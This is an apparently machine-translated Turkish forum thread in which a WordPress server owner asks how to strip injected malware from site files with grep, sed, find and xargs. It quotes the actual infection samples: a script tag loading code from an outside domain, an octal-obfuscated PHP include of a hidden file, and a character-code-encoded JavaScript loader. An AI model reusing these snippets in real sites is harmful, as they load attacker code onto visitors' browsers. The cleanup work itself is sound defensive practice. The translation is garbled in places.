Böylece tüm sunucum saldırıya uğradı veya kötü amaçlı yazılım sorunu yaşadı. sitem WordPress tabanlı ve sunucumda barındırılan sitelerin çoğu WordPress tabanlı. Bilgisayar korsanı bu kod satırını her bir dosyaya ve veritabanına ekledi
<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>
Kullanarak grep ile arama yaptım
grep -r "trasnaltemyrecords" /var/www/html/{*,.*}
Ben dosya yapısı boyunca yerine çalışıyorum sed
ve aşağıdaki komutu yazdım.
sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php
Ben index.php
işe yaradığını biliyorum, bu yüzden önce tek bir dosya üzerinde dize değiştirmeye çalışıyorum.
ve kodumun yanlış olduğunu biliyorum. Lütfen bana bu konuda yardım et.
@ Eran'ın kodunu denedim ve iyi ve beklendiği gibi tüm satırı sildi. Ancak, toplam jargon budur
/*ee8fa*/
@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";
/*ee8fa*/
Tüm içeriği silmek isterken php açılış etiketini saklamak istiyorum <?php
.
@ Slybloty'nin çözümü kolay olsa da işe yaradı.
etkilenen tüm dosyalardan kodu tamamen kaldırmak için. Aşağıdaki 3 komutu çalıştırıyorum, bunun için hepinize teşekkürler.
find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g"
- Komut dosyası satırını kaldırmak içinfind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'
-@include
Hattı kaldırmak içinfind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d'
- Yorum satırını kaldırmak için
Ayrıca, '*.html'
bilgisayar korsanının komut dosyası tüm dizinlerde istenmeyen index.html oluşturduğundan, 3 komutu da yeniden çalıştırdım . Bu index.html dosyasını silmenin doğru bir yaklaşım olup olmadığından emin değildim.
şimdi, hala önemsiz dosyaları ve izlerini bulmam gerekiyor.
Hacker betiği JS kodunu da ekledi.
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}
Ben de yapabilir miyim görmeye sed
çalışıyorum.
while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})"
-l
sed -i
. Örneğin, düzenlenen tüm dosyalar için sed -i.bak
bir *.bak
dosya oluşturur . while...grep
Döngü ile birlikte kullanıldığında , yalnızca bu dizeyi içeren dosyaları yedeklersiniz. Tüm ek yorumlar için özür dilerim, ama bence kötü amaçlı yazılım "tüm eller üzerinde" senaryosu.